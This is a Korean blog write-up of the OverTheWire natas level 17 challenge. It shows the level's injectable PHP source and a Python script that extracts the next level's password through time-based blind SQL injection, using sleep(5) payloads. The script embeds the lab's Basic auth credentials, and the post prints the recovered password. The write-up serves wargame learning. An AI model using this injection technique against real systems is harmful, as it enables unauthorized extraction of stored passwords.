: level 16 → level 17

http://natas17.natas.labs.overthewire.org

위 사진은 natas 17의 시작화면이다. 소스코드는 아래와 같다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head>
<body>
<h1>natas17</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

사용자 입력을 query에 사용하고 있는 것을 알 수 있다. 이를보아 SQL Injection 문제인 것을 짐작할 수 있었다.

그런데 소스코드를 잘 보면 가운데 if문에서 echo를 주석처리 한 것을 볼 수 있다. query의 처리결과를 알려주지 않기 때문에 이전처럼 password를 알아내긴 어렵다. 이 부분에 대해서 찾아본 결과 Time based SQL Injection이라는 것을 알게 되었다.

 

sleep 모듈을 사용하면 query가 제대로 처리됐을 때 sleep 함수가 실행되고, 반대 경우는 함수가 실행되지 않는 것을 이용해서 해결할 수 있다고 한다.

 

자동화프로그램은 다음과 같다.

import socket
import time

for i in range(1, 33):
    for ch in range(48, 123):
        if 58 <= ch <=64: continue
        if 91 <= ch <=96: continue
 
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect(("176.9.9.172", 80))

        header = "GET /index.php"
        header += "?username=natas18\"%20and%20ord(mid(password,+"+str(i)+",1))="+str(ch)+"%20and%20sleep(5)%23 "
        header += "HTTP/1.1\r\n"
        header += "Host:natas17.natas.labs.overthewire.org\r\n"
        header += "Authorization: Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==\r\n"
        header += "\r\n"

        response=" "
        start = time.time()
        sock.send(header.encode())
        response = sock.recv(65535)
        end = time.time()
        response = response.decode()

        if int(end-start) == 5:
            print(chr(ch),end='',flush=True)
            break
        sock.close()
print()

password의 각 자리를 추출하고 아스키코드랑 비교한 후 query가 참이되면 sleep이 실행된다. 이점을 이용해서 payload를 아래와 같이 작성한다.

username=natas18 and ord(mid(password,str(i),1))=str(ch) and sleep(5)#

위 내용을 URL 인코딩으로 변환 후 header에 넣어서 보내준다.그 후 페이지 로딩 시간을 계산해서 5가 나오면 query가 참이라는 뜻이므로 해당 문자를 출력한다.

 

실행결과는 다음과 같다.

 

natas18 password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[XSS Challenge] Stage #15  (0) 2021.06.27
[LOS] troll  (0) 2021.06.27
[natas] Level 15 -> Level 16  (0) 2021.06.27
[XSS Challenge] Stage #14  (0) 2021.05.30
[XSS Challenge] Stage #13  (0) 2021.05.30
복사했습니다!